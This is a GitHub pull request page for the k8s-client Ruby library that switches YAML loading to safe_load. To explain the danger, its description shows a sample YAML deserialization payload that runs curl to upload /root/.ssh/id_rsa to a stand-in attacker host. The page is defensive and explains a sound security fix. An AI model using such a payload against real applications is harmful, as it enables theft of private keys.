Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use YAML.safe_load for loading YAMLs #71

Merged
merged 3 commits into from
Dec 29, 2018
Merged

Conversation

kke
Copy link
Contributor

@kke kke commented Dec 14, 2018

Use YAML.safe_load and a custom YAML.safe_load_stream for loading YAML files

Without safe load, an app with classes that have "insecure" initializers may execute code from configuration YAMLs.

For example, something like this that was intended to just be called from somewhere in the code:

class UnsafeCommand
  def initialize(*cmd)
    @result = system(*cmd)
  end

  def success?
    !!@result
  end

Now your app is exploitable if it uses k8s-client by creating a YAML that looks something like:

---
foo: !ruby/object:UnsafeCommand
  cmd:
    - curl
    - -F
    - ‘data=@/root/.ssh/id_rsa’ 
    - hack.example.com/steal_ssh_key

Now loading that config will call UnsafeCommand.new('curl', '-F', " ‘data=@/root/.ssh/id_rsa’", 'hack.example.com/steal_ssh_key')

By using safe_load, this does not happen because UnsafeCommand is not explicitly whitelisted.

@kke kke added the enhancement New feature or request label Dec 14, 2018
Copy link
Contributor

@jnummelin jnummelin left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Needs some speccing and some docs for YAMLSafeLoadStream

@kke
Copy link
Contributor Author

kke commented Dec 20, 2018

Specs and yardocs added

@kke
Copy link
Contributor Author

kke commented Dec 20, 2018

Now uses the yaml-safe_load_stream gem.

@jnummelin jnummelin merged commit abfbad1 into master Dec 29, 2018
@jnummelin jnummelin deleted the feature/yaml_safe_load branch December 29, 2018 06:51
@jakolehm jakolehm mentioned this pull request Jan 2, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants